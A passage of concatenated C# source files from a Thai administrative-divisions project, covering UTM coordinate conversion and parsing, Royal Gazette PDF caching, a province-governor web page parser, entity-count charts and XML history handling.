{
ZoneNumber = 32; // larger zone for southern Norway
}
if ( Latitude >= 72.0 && Latitude < 84.0 )
{
// Special zones for Svalbard
if ( lLongitude >= 0.0 && lLongitude < 9.0 )
{
ZoneNumber = 31;
}
else if ( lLongitude >= 9.0 && lLongitude < 21.0 )
{
ZoneNumber = 33;
}
else if ( lLongitude >= 21.0 && lLongitude < 33.0 )
{
ZoneNumber = 35;
}
else if ( lLongitude >= 33.0 && lLongitude < 42.0 )
{
ZoneNumber = 37;
}
}
LongOrigin = (ZoneNumber - 1) * 6 - 180 + 3; //+3 puts origin in middle of zone
double LongOriginRad = LongOrigin / _convertRadianToDegree;
double N = dEquatorialRadius / Math.Sqrt(1 - eccSquared * Math.Sin(LatRad) * Math.Sin(LatRad));
double T = Math.Tan(LatRad) * Math.Tan(LatRad);
double C = eccPrimeSquared * Math.Cos(LatRad) * Math.Cos(LatRad);
double A = Math.Cos(LatRad) * (LongRad - LongOriginRad);
double M = dEquatorialRadius * ((1 - eccSquared / 4 - 3 * eccSquared * eccSquared / 64 - 5 * eccSquared * eccSquared * eccSquared / 256) * LatRad
- (3 * eccSquared / 8 + 3 * eccSquared * eccSquared / 32 + 45 * eccSquared * eccSquared * eccSquared / 1024) * Math.Sin(2 * LatRad)
+ (15 * eccSquared * eccSquared / 256 + 45 * eccSquared * eccSquared * eccSquared / 1024) * Math.Sin(4 * LatRad)
- (35 * eccSquared * eccSquared * eccSquared / 3072) * Math.Sin(6 * LatRad));
double UTMEasting = (double)(k0 * N * (A + (1 - T + C) * A * A * A / 6
+ (5 - 18 * T + T * T + 72 * C - 58 * eccPrimeSquared) * A * A * A * A * A / 120)
+ 500000.0);
double UTMNorthing = (double)(k0 * (M + N * Math.Tan(LatRad) * (A * A / 2 + (5 - T + 9 * C + 4 * C * C) * A * A * A * A / 24
+ (61 - 58 * T + T * T + 600 * C - 330 * eccPrimeSquared) * A * A * A * A * A * A / 720)));
if ( Latitude < 0 )
{
UTMNorthing += 10000000.0; //10000000 meter offset for southern hemisphere
}
UtmPoint lResult = new UtmPoint(
(Int32)Math.Truncate(UTMEasting),
(Int32)Math.Truncate(UTMNorthing),
ZoneNumber, Latitude >= 0);
return lResult;
}
public static GeoPoint Load(XmlNode node)
{
GeoPoint RetVal = null;
if ( node != null && node.Name.Equals("geo:Point") )
{
RetVal = new GeoPoint();
if ( node.HasChildNodes )
{
foreach ( XmlNode lChildNode in node.ChildNodes )
{
if ( lChildNode.Name == "geo:lat" )
{
String lLatitude = lChildNode.InnerText;
RetVal.Latitude = Convert.ToDouble(lLatitude, Helper.CultureInfoUS);
}
if ( lChildNode.Name == "geo:long" )
{
String lLongitude = lChildNode.InnerText;
RetVal.Longitude = Convert.ToDouble(lLongitude, Helper.CultureInfoUS);
}
}
}
}
return RetVal;
}
private static String CoordinateToString(String format, Double value)
{
String result = format;
result = result.Replace("%C", Math.Truncate(value).ToString());
result = result.Replace("%D", Math.Truncate(Math.Abs(value)).ToString());
result = result.Replace("%M", Math.Truncate((Math.Abs(value) * 60) % 60).ToString());
result = result.Replace("%S", Math.Round((Math.Abs(value) * 3600) % 60).ToString());
result = result.Replace("%c", value.ToString("##0.####"));
result = result.Replace("%d", Math.Abs(value).ToString("##0.####"));
result = result.Replace("%m", ((Math.Abs(value) * 60) % 60).ToString("##0.####"));
result = result.Replace("%s", ((Math.Abs(value) * 3600) % 60).ToString("##0.##"));
// http://www.codeproject.com/KB/string/llstr.aspx
// String.Format() ?
// %C - integer co-ordinate, may be negative or positive
// %c - decimal co-ordinate, the entire co-ordinate, may be negative or positive
// %D - integer degrees, always positive
// %M - integer degrees, always positive
// %S - integer seconds, always positive, rounded
// %d - decimal degrees, always positive
// %m - decimal minutes, always positive
// %s - decimal seconds, always positive
return result;
}
/// <summary>
/// Formats the coordinates according to a given format string.
/// </summary>
/// <remarks>
/// %H - hemisphere - single character of N,S,E,W
/// %C - integer co-ordinate, may be negative or positive
/// %c - decimal co-ordinate, the entire co-ordinate, may be negative or positive
/// %D - integer degrees, always positive
/// %M - integer minutes, always positive
/// %S - integer seconds, always positive, rounded
/// %d - decimal degrees, always positive
/// %m - decimal minutes, always positive
/// %s - decimal seconds, always positive
/// %% - for %
/// </remarks>
/// <param name="format">Format string.</param>
/// <returns>Formatted coordinate values.</returns>
public String ToString(String format)
{
String latitudeString = CoordinateToString(format, Latitude);
if ( Latitude >= 0 )
{
latitudeString = latitudeString.Replace("%H", "N");
}
else
{
latitudeString = latitudeString.Replace("%H", "S");
}
String longitudeString = CoordinateToString(format, Longitude);
if ( Longitude >= 0 )
{
longitudeString = longitudeString.Replace("%H", "E");
}
else
{
longitudeString = longitudeString.Replace("%H", "W");
}
String result = latitudeString + ' ' + longitudeString;
result = result.Replace("%%", "%");
return result;
}
/// <summary>
/// Converts the coordinates to a string formatted with decimal degrees.
/// </summary>
/// <returns>String represantation of the coordinates.</returns>
public override String ToString()
{
return ToString("%d° %H");
}
private String CalcGeoHash(Int32 accuracy)
{
return De.AHoerstemeier.Geo.GeoHash.EncodeGeoHash(this, accuracy);
}
private void SetGeoHash(String value)
{
GeoPoint newPoint = De.AHoerstemeier.Geo.GeoHash.DecodeGeoHash(value);
this.Latitude = newPoint.Latitude;
this.Longitude = newPoint.Longitude;
}
private void SetMaidenhead(String value)
{
Double latitude = 0;
Double longitude = 0;
MaidenheadLocator.GeographicalCoordinatesByMaidenheadLocator(value, _DefaultPositionInRectangle, out latitude, out longitude);
Datum = GeoDatum.DatumWGS84();
this.Latitude = latitude;
this.Longitude = longitude;
}
private String CalcMaidenhead(Int32 precision)
{
String result = MaidenheadLocator.GetMaidenheadLocator(Latitude, Longitude, true, precision);
return result;
}
private static GeoPoint ParseDegMinSec(String value)
{
Regex Parser = new Regex(@"([0-9]{1,3})[:|°]\s{0,}([0-9]{1,2})[:|']\s{0,}((?:\b[0-9]+(?:\.[0-9]*)?|\.[0-9]+\b))[""|\s]\s{0,}?([N|S|E|W])\s{0,}");
value = value.Replace(',', '.');
value = value.Trim();
value = value.Replace('′', '\'');
value = value.Replace('″', '"');
// Now parse using the regex parser
MatchCollection matches = Parser.Matches(value);
if ( matches.Count != 2 )
{
throw new ArgumentException(string.Format(CultureInfo.CurrentUICulture, "Lat/long value of '{0}' is not recognized", value));
}
Double latitude = 0.0;
Double longitude = 0.0;
foreach ( Match match in matches )
{
// Convert - adjust the sign if necessary
Double deg = Double.Parse(match.Groups[1].Value, CultureInfo.InvariantCulture);
Double min = Double.Parse(match.Groups[2].Value, CultureInfo.InvariantCulture);
Double sec = Double.Parse(match.Groups[3].Value, CultureInfo.InvariantCulture);
Double result = deg + (min / 60) + (sec / 3600);
if ( match.Groups[4].Success )
{
Char ch = match.Groups[4].Value[0];
switch ( ch )
{
case 'S':
{
latitude = -result;
break;
}
case 'N':
{
latitude = result;
break;
}
case 'E':
{
longitude = result;
break;
}
case 'W':
{
longitude = -result;
break;
}
}
}
}
return new GeoPoint(latitude, longitude);
}
private static GeoPoint ParseDegMin(String value)
{
Regex Parser = new Regex(@"([0-9]{1,3})[:|°|\s]\s{0,}((?:\b[0-9]+(?:\.[0-9]*)?|\.[0-9]+\b))'{0,1}\s{0,}?([N|S|E|W])\s{0,}");
value = value.Replace(',', '.');
value = value.Trim();
// Now parse using the regex parser
MatchCollection matches = Parser.Matches(value);
if ( matches.Count != 2 )
{
throw new ArgumentException(string.Format(CultureInfo.CurrentUICulture, "Lat/long value of '{0}' is not recognized", value));
}
Double latitude = 0.0;
Double longitude = 0.0;
foreach ( Match match in matches )
{
// Convert - adjust the sign if necessary
Double deg = Double.Parse(match.Groups[1].Value, CultureInfo.InvariantCulture);
Double min = Double.Parse(match.Groups[2].Value, CultureInfo.InvariantCulture);
Double result = deg + (min / 60);
if ( match.Groups[3].Success )
{
Char ch = match.Groups[3].Value[0];
switch ( ch )
{
case 'S':
{
latitude = -result;
break;
}
case 'N':
{
latitude = result;
break;
}
case 'E':
{
longitude = result;
break;
}
case 'W':
{
longitude = -result;
break;
}
}
}
}
return new GeoPoint(latitude, longitude);
}
private static GeoPoint ParseDecimalDegree(String value)
{
Regex Parser = new Regex(@"((?:\b[0-9]+(?:\.[0-9]*)?|\.[0-9]+\b))°{0,1}\s{0,}?([N|S|E|W])\s{0,}");
value = value.Replace(',', '.');
value = value.Trim();
// Now parse using the regex parser
MatchCollection matches = Parser.Matches(value);
if ( matches.Count != 2 )
{
throw new ArgumentException(string.Format(CultureInfo.CurrentUICulture, "Lat/long value of '{0}' is not recognized", value));
}
Double latitude = 0.0;
Double longitude = 0.0;
foreach ( Match match in matches )
{
// Convert - adjust the sign if necessary
Double deg = Double.Parse(match.Groups[1].Value, CultureInfo.InvariantCulture);
Double result = deg;
if ( match.Groups[2].Success )
{
Char ch = match.Groups[2].Value[0];
switch ( ch )
{
case 'S':
{
latitude = -result;
break;
}
case 'N':
{
latitude = result;
break;
}
case 'E':
{
longitude = result;
break;
}
case 'W':
{
longitude = -result;
break;
}
}
}
}
return new GeoPoint(latitude, longitude);
}
#endregion methods
#region ICloneable Members
public object Clone()
{
return new GeoPoint(this);
}
#endregion ICloneable Members
#region IEquatable Members
private const double _AltitudeAccuracy = 0.01; // 10 cm
private const double _DegreeAccuracy = 0.00005; // ca. 0.5 ArcSecond
public bool Equals(GeoPoint value)
{
double altitudeError = Math.Abs(value.Altitude - this.Altitude);
double latitudeError = Math.Abs(value.Latitude - this.Latitude);
double longitudeError = Math.Abs(value.Longitude - this.Longitude);
bool lResult = (altitudeError < _AltitudeAccuracy)
& (latitudeError < _DegreeAccuracy)
& (longitudeError < _DegreeAccuracy)
& (value.Datum.Equals(this.Datum));
return lResult;
}
#endregion IEquatable Members
}
}<file_sep>/TambonUI/EntityNumbersForm.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Windows.Forms.DataVisualization.Charting;
namespace De.AHoerstemeier.Tambon.UI
{
public partial class EntityNumbersForm : Form
{
private const Int32 _startYear = 1950;
private Int32 _endYear;
private List<Entity> _localGovernments = new List<Entity>();
private Entity _baseEntity;
private List<Entity> _allEntities;
private Dictionary<EntityType, IEnumerable<Tuple<Int32, Int32>>> _numberyByYear = new Dictionary<EntityType, IEnumerable<Tuple<int, int>>>();
public EntityNumbersForm()
{
InitializeComponent();
}
private void EntityNumbers_Load(object sender, EventArgs e)
{
_baseEntity = GlobalData.CompleteGeocodeList();
_baseEntity.CalcOldGeocodesRecursive();
_baseEntity.PropagateObsoleteToSubEntities();
_allEntities = _baseEntity.FlatList()./*Where(x => !x.IsObsolete).*/ToList();
var allLocalGovernmentParents = _allEntities.Where(x => x.type == EntityType.Tambon || x.type == EntityType.Changwat).ToList();
_localGovernments.AddRange(_allEntities.Where(x => x.type.IsLocalGovernment()));
foreach ( var tambon in allLocalGovernmentParents )
{
var localGovernmentEntity = tambon.CreateLocalGovernmentDummyEntity();
if ( localGovernmentEntity != null )
{
_localGovernments.Add(localGovernmentEntity);
_allEntities.Add(localGovernmentEntity);
}
}
var entityTypes = new List<EntityType>()
{
EntityType.Changwat,
EntityType.Amphoe,
EntityType.KingAmphoe,
EntityType.Khet,
EntityType.Tambon,
EntityType.Khwaeng,
// EntityType.Muban,
EntityType.Sukhaphiban,
EntityType.ThesabanNakhon,
EntityType.ThesabanMueang,
EntityType.ThesabanTambon,
// EntityType.TAO,
};
_endYear = DateTime.Now.Year;
foreach ( var entityType in entityTypes )
{
_numberyByYear[entityType] = CalcEntityTypeByYear(entityType, _allEntities);
var series = new Series();
series.LegendText = entityType.Translate(Language.English);
series.Tag = entityType;
foreach ( var dataPoint in _numberyByYear[entityType] )
{
series.Points.Add(new DataPoint(dataPoint.Item1, dataPoint.Item2));
}
series.ChartType = SeriesChartType.Line;
chart.Series.Add(series);
}
edtYear.Maximum = _endYear;
edtYear.Minimum = _startYear;
edtYear.Value = _endYear;
}
private IEnumerable<Tuple<Int32, Int32>> CalcEntityTypeByYear(EntityType entityType, List<Entity> _allEntities)
{
var result = new List<Tuple<Int32, Int32>>();
var entities = _allEntities.Where(x => x.type.IsCompatibleEntityType(entityType)).Where(x => !x.IsObsolete || x.history.Items.Any(y => y is HistoryAbolish)).ToList();
for ( Int32 year = _startYear ; year <= _endYear ; year++ )
{
result.Add(new Tuple<Int32, Int32>(year, entities.Count(x => x.history.CheckTypeAtDate(entityType, x.type, new DateTime(year, 1, 1)))));
//var items = entities.Where(x => x.history.CheckTypeAtDate(entityType, x.type, new DateTime(year, 1, 1))).ToList();
//var codes = items.Select(x => x.geocode).ToList();
}
return result;
}
private void edtYear_ValueChanged(Object sender, EventArgs e)
{
txtData.Text = String.Empty;
foreach ( var entityType in _numberyByYear.Keys )
{
var number = _numberyByYear[entityType].FirstOrDefault(x => x.Item1 == edtYear.Value);
if ( number != null )
{
txtData.Text += String.Format("{0}: {1}", entityType.Translate(Language.English), number.Item2) + Environment.NewLine;
}
}
}
}
}<file_sep>/TambonMain/GazetteEntry.cs
using System;
using System.Collections.Generic;
using System.Globalization;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks;
using De.AHoerstemeier.Tambon;
namespace De.AHoerstemeier.Tambon
{
public partial class GazetteEntry : IGeocode
{
#region IGeocode Members
/// <summary>
/// Checks if this instance is about the entity identified by the <paramref name="geocode"/>.
/// If <paramref name="includeSubEntities"/> is <c>true</c>,
/// </summary>
/// <param name="geocode">Geocode to check.</param>
/// <param name="includeSubEntities">Toggles whether codes under <paramref name="geocode"/> are considered fitting as well.</param>
/// <returns><c>true</c> if instance is about the code, <c>false</c> otherwise.</returns>
public Boolean IsAboutGeocode(UInt32 geocode, Boolean includeSubEntities)
{
var result = false;
foreach (var entry in section)
{
var toTest = entry as IGeocode;
if (toTest != null)
{
result = result | toTest.IsAboutGeocode(geocode, includeSubEntities);
}
}
foreach (var entry in Items)
{
var toTest = entry as IGeocode;
if (toTest != null)
{
result = result | toTest.IsAboutGeocode(geocode, includeSubEntities);
}
}
return result;
}
#endregion IGeocode Members
/// <summary>
/// Checks whether the announcement matches the given reference.
/// </summary>
/// <param name="gazetteReference">Gazette reference.</param>
/// <returns><c>true</c> if matching the reference, <c>false</c> otherwise.</returns>
/// <exception cref="ArgumentNullException"><paramref name="gazetteReference"/> is <c>null</c>.</exception>
public Boolean IsMatchWith(GazetteRelated gazetteReference)
{
if (gazetteReference == null)
{
throw new ArgumentNullException("gazetteReference");
}
return
gazetteReference.volume == this.volume &&
gazetteReference.issue == this.issue &&
gazetteReference.page == this.FirstPage &&
gazetteReference.date == this.publication;
}
/// <summary>
/// Gets the filename of the locally cached PDF file.
/// </summary>
public String LocalPdfFileName
{
get
{
return Path.Combine(GlobalData.PdfDirectory, uri.Replace("/", "\\"));
}
}
/// <summary>
/// Gets the URL of the announcement on the Royal Gazette webserver.
/// </summary>
public Uri DownloadUrl
{
get
{
return new Uri("http://www.ratchakitcha.soc.go.th/DATA/PDF/" + uri);
}
}
/// <summary>
/// Copies the PDF from the Royal Gazette webserver into the local cache.
/// </summary>
public void MirrorToCache()
{
String cacheFile = LocalPdfFileName;
if (!File.Exists(cacheFile))
{
System.IO.Stream fileStream = null;
try
{
try
{
WebClient webClient = new System.Net.WebClient();
Stream webStream = webClient.OpenRead(DownloadUrl);
DirectoryInfo dirInfo = new DirectoryInfo(@GlobalData.PdfDirectory);
string s = Path.GetDirectoryName(uri);
if (!String.IsNullOrEmpty(s))
{
dirInfo.CreateSubdirectory(s);
}
Stream memoryStream = new MemoryStream();
BasicHelper.StreamCopy(webStream, memoryStream);
if (memoryStream.Length > 0)
{
memoryStream.Seek(0, SeekOrigin.Begin);
fileStream = new FileStream(cacheFile, FileMode.CreateNew);
BasicHelper.StreamCopy(memoryStream, fileStream);
fileStream.Flush();
}
}
finally
{
if (fileStream != null)
{
fileStream.Dispose();
}
}
}
catch
{
if (File.Exists(cacheFile))
{
File.Delete(cacheFile);
}
}
}
}
/// <summary>
/// Gets the first page from <see cref="page"/>
/// </summary>
public UInt32 FirstPage
{
get
{
UInt32 startPage;
UInt32 endPage;
ParsePageString(page, out startPage, out endPage);
return startPage;
}
}
private void ParsePageString(String value, out UInt32 startPage, out UInt32 endPage)
{
Int32 state = 0;
startPage = 0;
endPage = 0;
foreach (String SubString in value.Split('-', '–'))
{
switch (state)
{
case 0:
startPage = Convert.ToUInt32(SubString);
break;
case 1:
endPage = Convert.ToUInt32(SubString);
break;
default:
throw new ArgumentOutOfRangeException("Invalid page string " + value);
}
state++;
}
if (endPage == 0)
{
endPage = startPage;
}
}
private void AddGazetteOperations(IEnumerable<Object> items, List<GazetteOperationBase> listToAdd)
{
foreach (var item in items)
{
var operationItem = item as GazetteOperationBase;
if (operationItem != null)
{
listToAdd.AddRange(operationItem.GazetteOperations());
}
}
}
/// <summary>
/// Gets a flat list of all the gazette operation entries within the gazette entry.
/// </summary>
public IEnumerable<GazetteOperationBase> GazetteOperations()
{
var result = new List<GazetteOperationBase>();
AddGazetteOperations(Items, result);
foreach (var sectionItem in section)
{
AddGazetteOperations(sectionItem.Items, result);
foreach (var subSectionItem in sectionItem.subsection)
{
AddGazetteOperations(subSectionItem.Items, result);
}
}
return result;
}
/// <summary>
/// Creates the reference for the Wikipedia in the given language.
/// </summary>
/// <param name="language">Requested language.</param>
/// <returns>Reference wiki text.</returns>
/// <exception cref="NotImplementedException"><paramref name="language"/> is not yet supported.</exception>
public String WikipediaReference(Language language)
{
var result = String.Empty;
switch (language)
{
case Language.English:
result = "{{cite journal|journal=Royal Gazette";
if (volume != 0)
{
result += String.Format(CultureInfo.InvariantCulture, "|volume={0}", volume);
}
if (!String.IsNullOrWhiteSpace(issue))
{
result += String.Format("|issue={0}", issue);
}
if (!String.IsNullOrEmpty(page))
{
result += String.Format("|pages={0}", page);
}
result += String.Format("|title={0}", title);
if (!String.IsNullOrEmpty(uri))
{
result += String.Format("|url={0}", DownloadUrl);
}
if (publication.Year > 1800)
{
result += String.Format(CultureInfo.InvariantCulture, "|date={0:yyyy-MM-dd}", publication);
}
result += "|language=Thai}}";
break;
default:
throw new NotImplementedException(String.Format("Language {0} not yet implemented", language));
}
return result;
}
}
}<file_sep>/TambonHelpers/BasicHelper.cs
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
/// <summary>
/// Some basic helper methods.
/// </summary>
public static class BasicHelper
{
/// <summary>
/// Copies the content of one stream into a second.
/// </summary>
/// <param name="input">Input stream.</param>
/// <param name="output">Output stream.</param>
public static void StreamCopy(Stream input, Stream output)
{
byte[] buffer = new byte[2048];
int readCount = 0;
do
{
readCount = input.Read(buffer, 0, buffer.Length);
output.Write(buffer, 0, readCount);
} while ( readCount > 0 );
}
}
}<file_sep>/AHTambon/ProvinceGovernorParser.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Net;
using System.Xml;
namespace De.AHoerstemeier.Tambon
{
public class ProvinceGovernorParser
{
#region variables
private List<PopulationDataEntry> mData = null;
private const String mChangwatStart = ">จังหวัด";
private const String mGovernorStart = ">ผู้ว่าราชการจังหวัด";
private const String mViceGovernorStart = ">รองผู้ว่าราชการจังหวัด";
private const String mTelephoneStart = " โทร ";
private const String mMobileStart = "มือถือ";
private const String mPageEnd = "- BEGIN WEB STAT CODE -";
#endregion
#region constructor
public ProvinceGovernorParser()
{
}
#endregion
#region methods
public void ParseUrl(String iUrl)
{
WebClient lWebClient = new WebClient();
Stream mData = lWebClient.OpenRead(iUrl);
Parse(mData);
}
public void ParseFile(String iFilename)
{
Stream mData = new FileStream(iFilename, FileMode.Open);
Parse(mData);
}
protected EntityLeaderList ParseLeaders(String iValue)
{
EntityLeaderList lResult = new EntityLeaderList();
Int32 lPos3 = iValue.IndexOf(mGovernorStart) + mGovernorStart.Length;
Int32 lPos4 = iValue.IndexOf(mViceGovernorStart) + mViceGovernorStart.Length;
lResult.AddRange(ParseNames(iValue.Substring(lPos3, lPos4 - lPos3 - mViceGovernorStart.Length), EntityLeaderType.Governor));
lResult.AddRange(ParseNames(iValue.Substring(lPos4), EntityLeaderType.ViceGovernor));
return lResult;
}
public void Parse(Stream iStream)
{
List<PopulationDataEntry> lResult = new List<PopulationDataEntry>();
String lCurrentLine = String.Empty;
var lReader = new StreamReader(iStream, TambonHelper.ThaiEncoding);
StringBuilder lEntryData = new StringBuilder();
String lCurrentChangwat = String.Empty;
String lCurrentData = String.Empty;
while ((lCurrentLine = lReader.ReadLine()) != null)
{
String lLine = lCurrentLine.Replace(" ", " ");
while (lLine.Contains(mChangwatStart))
{
Int32 lPos1 = lLine.IndexOf(mChangwatStart) + mChangwatStart.Length;
Int32 lPos2 = lLine.IndexOf("<", lPos1);
if (!String.IsNullOrEmpty(lCurrentChangwat))
{
lCurrentData = lCurrentData + Environment.NewLine + lLine.Substring(0, lPos1 - mChangwatStart.Length);
lResult.Add(new PopulationDataEntry(lCurrentChangwat, OfficeType.ProvinceHall, ParseLeaders(lCurrentData)));
lCurrentData = String.Empty;
}
lCurrentChangwat = lLine.Substring(lPos1, lPos2 - lPos1);
if (TambonHelper.ChangwatMisspellings.ContainsKey(lCurrentChangwat))
{
lCurrentChangwat = TambonHelper.ChangwatMisspellings[lCurrentChangwat];
}
lLine = lLine.Substring(lPos2);
}
if (lLine.Contains(mPageEnd))
{
break;
}
if (!String.IsNullOrEmpty(lCurrentChangwat))
{
lCurrentData = lCurrentData + Environment.NewLine + lLine;
}
}
if (!String.IsNullOrEmpty(lCurrentChangwat))
{
lResult.Add(new PopulationDataEntry(lCurrentChangwat, OfficeType.ProvinceHall, ParseLeaders(lCurrentData)));
}
mData = lResult;
}
public void ExportToXML(XmlNode iNode)
{
XmlDocument lXmlDocument = TambonHelper.XmlDocumentFromNode(iNode);
var lNode = (XmlElement)lXmlDocument.CreateNode("element", "governors", "");
iNode.AppendChild(lNode);
foreach (PopulationDataEntry lEntry in mData)
{
lEntry.ExportToXML(lNode);
}
}
private List<EntityLeader> ParseNames(String iLine, EntityLeaderType iPosition)
{
List<EntityLeader> lResult = new List<EntityLeader>();
// to split the string into lines with one leader data
String lLine = iLine.Replace("<BR>", Environment.NewLine).Replace("</P>", Environment.NewLine);
lLine = RemoveAllTags(lLine);
StringReader lReader = new StringReader(lLine);
String lCurrentLine = String.Empty;
while ((lCurrentLine = lReader.ReadLine()) != null)
{
EntityLeader lCurrentEntry = new EntityLeader();
lCurrentEntry.Position = iPosition;
Int32 lPos1 = lCurrentLine.IndexOf(mTelephoneStart);
Int32 lPos2 = lCurrentLine.IndexOf(mMobileStart);
if (lPos2 >= 0)
{
String lNumber = lCurrentLine.Substring(lPos2 + mMobileStart.Length).Trim();
// very last entry has text after the number
if (lNumber.Contains(' '))
{
lNumber = lNumber.Substring(0, lNumber.IndexOf(' '));
}
lCurrentEntry.CellPhone = lNumber;
lCurrentLine = lCurrentLine.Substring(0, lPos2);
}
if (lPos1 >= 0)
{
lCurrentEntry.Telephone = lCurrentLine.Substring(lPos1 + mTelephoneStart.Length).Trim();
lCurrentLine = lCurrentLine.Substring(0, lPos1);
}
lCurrentEntry.Name = lCurrentLine.Trim();
// The name may have more than whitespace in the middle
while (lCurrentEntry.Name.Contains(" "))
{
lCurrentEntry.Name = lCurrentEntry.Name.Replace(" ", " ");
}
if (!String.IsNullOrEmpty(lCurrentEntry.Name))
{
lResult.Add(lCurrentEntry);
}
}
return lResult;
}
private string RemoveAllTags(string iLine)
{
String lResult = String.Empty;
String lLine = iLine;
while (lLine.Contains('<'))
{
Int32 lPos1 = lLine.IndexOf('<');
Int32 lPos2 = lLine.IndexOf('>');
if (lPos1 > 0)
{
lResult = lResult + lLine.Substring(0, lPos1);
}
if (lPos2 < 0)
{
lLine = String.Empty;
}
else
{
lLine = lLine.Substring(lPos2 + 1);
}
}
lResult = lResult + lLine;
return lResult;
}
public Dictionary<String, EntityLeader> NewGovernorsList()
{
Dictionary<String, EntityLeader> RetVal = new Dictionary<String, EntityLeader>();
List<PopulationDataEntry> lFoundEntries = new List<PopulationDataEntry>();
foreach (PopulationDataEntry lEntry in mData)
{
lEntry.Geocode = TambonHelper.GetGeocode(lEntry.Name);
PopulationData lData = TambonHelper.GetGeocodeList(lEntry.Geocode);
lEntry.English = lData.Data.English;
foreach (EntityOffice lOffice in lEntry.Offices)
{
foreach (EntityLeader lLeader in lOffice.OfficialsList)
{
if (lLeader.Position == EntityLeaderType.Governor)
{
if (lData.Data.LeaderAlreadyInList(lLeader))
{
lFoundEntries.Add(lEntry);
}
else
{
RetVal.Add(lEntry.English,lLeader);
}
}
}
}
}
foreach (PopulationDataEntry lEntry in lFoundEntries)
{
mData.Remove(lEntry);
}
return RetVal;
}
public String NewGovernorsText()
{
StringBuilder lBuilder = new StringBuilder();
foreach (KeyValuePair<String,EntityLeader> lEntry in NewGovernorsList())
{
lBuilder.AppendLine(lEntry.Key+" "+lEntry.Value.Name);
}
return lBuilder.ToString();
}
#endregion
}
}
<file_sep>/AHTambon/RoyalGazetteContentCreate.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml;
namespace De.AHoerstemeier.Tambon
{
public class RoyalGazetteContentCreate : RoyalGazetteContent
{
internal const String XmlLabel = "create";
#region properties
private EntityType mType = EntityType.Unknown;
public EntityType Type
{
get { return mType; }
set { mType = value; }
}
public Int32 Parent { get; set; }
public List<RoyalGazetteContent> SubEntries
{
get { return mSubEntries; }
}
#endregion
#region methods
internal override void DoLoad(XmlNode iNode)
{
base.DoLoad(iNode);
if (iNode != null && iNode.Name.Equals(XmlLabel))
{
string s = TambonHelper.GetAttribute(iNode, "type");
if (!String.IsNullOrEmpty(s))
{
Type = (EntityType)Enum.Parse(typeof(EntityType), s);
}
Parent = TambonHelper.GetAttributeOptionalInt(iNode, "parent",0);
}
}
protected override String GetXmlLabel()
{
return XmlLabel;
}
protected override void DoCopy(RoyalGazetteContent iOther)
{
if (iOther != null)
{
base.DoCopy(iOther);
if (iOther is RoyalGazetteContentCreate)
{
RoyalGazetteContentCreate iOtherCreate = (RoyalGazetteContentCreate)iOther;
Type = iOtherCreate.Type;
Parent = iOtherCreate.Parent;
}
}
}
override protected void WriteToXmlElement(XmlElement iElement)
{
base.WriteToXmlElement(iElement);
if (Type != EntityType.Unknown)
{
iElement.SetAttribute("type", Type.ToString());
}
if (Parent != 0)
{
iElement.SetAttribute("parent", Parent.ToString());
}
}
#endregion
}
}
<file_sep>/TambonMain/RegisterDataMisc.cs
using System;
namespace De.AHoerstemeier.Tambon
{
partial class RegisterDataMisc: IIsEmpty
{
#region fixup serialization
/// <inheritdoc/>
public bool IsEmpty()
{
return marriage == 0 && divorce == 0 && adoption == 0 && adoptiondissolution == 0 && familystatus == 0 && childacknowledge == 0;
}
#endregion fixup serialization
}
}<file_sep>/TambonMain/HistoryList.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public partial class HistoryList
{
/// <summary>
/// Checks whether the history list indicates that the entity was of the given type at the given date.
/// </summary>
/// <param name="entityType">Entity type to check.</param>
/// <param name="currentType">Entity type the entity has today.</param>
/// <param name="dateToCheck">Date to check.</param>
/// <returns><c>true</c> if history list confirms entity type, or history list empty and current type fits, <c>false</c> otherwise.</returns>
public Boolean CheckTypeAtDate(EntityType entityType, EntityType currentType, DateTime dateToCheck)
{
if ( !Items.Any() )
{
// no history, so cannot probably already existing long before. Can only check if type fits.
return entityType == currentType;
}
else
{
// ThenBy for the 2 special cases where Tambon was abolished and created again on same day
var historiesToCheck = Items.Where(x => x.effectiveSpecified && x.effective < dateToCheck).OrderBy(y => y.effective).ThenBy(z => z is HistoryCreate);
var calculatedType = currentType;
if ( Items.Any(x => x is HistoryStatus) )
{
calculatedType = (Items.OrderBy(x => x.effective).First(y => y is HistoryStatus) as HistoryStatus).old;
}
if ( Items.Any(x => x is HistoryCreate) )
{
calculatedType = EntityType.Unknown;
}
foreach ( var history in historiesToCheck )
{
var creation = history as HistoryCreate;
var changeType = history as HistoryStatus;
var abolish = history as HistoryAbolish;
if ( abolish != null )
{
calculatedType = EntityType.Unknown;
}
else if ( changeType != null )
{
calculatedType = changeType.@new;
}
else if ( creation != null )
{
calculatedType = creation.type;
}
}
return entityType == calculatedType;
}
}
}
}<file_sep>/TambonHelpers/CommonEnums.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
/// <summary>
/// Languages supported, especially for access to WikiData.
/// </summary>
public enum Language
{
/// <summary>
/// Thai (th)
/// </summary>
Thai,
/// <summary>
/// English (en)
/// </summary>
English,
/// <summary>
/// German (de)
/// </summary>
German,
/// <summary>
/// French (fr)
/// </summary>
French,
}
}<file_sep>/TambonMain/CreationStatisticsTambon.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public class CreationStatisticsTambon : CreationStatisticsCentralGovernment
{
#region properties
private Int32 _mubanNumberEqual;
private Int32 _mubanNumberChanged;
#endregion properties
#region constructor
public CreationStatisticsTambon()
{
StartYear = 1883;
EndYear = DateTime.Now.Year;
}
public CreationStatisticsTambon(Int32 iStartYear, Int32 iEndYear)
{
StartYear = iStartYear;
EndYear = iEndYear;
}
#endregion constructor
#region methods
protected override String DisplayEntityName()
{
return "Tambon";
}
protected override Boolean EntityFitting(EntityType iEntityType)
{
Boolean result = (iEntityType == EntityType.Tambon);
return result;
}
protected override void Clear()
{
base.Clear();
_mubanNumberEqual = 0;
_mubanNumberChanged = 0;
}
protected override void ProcessContent(GazetteCreate content)
{
base.ProcessContent(content);
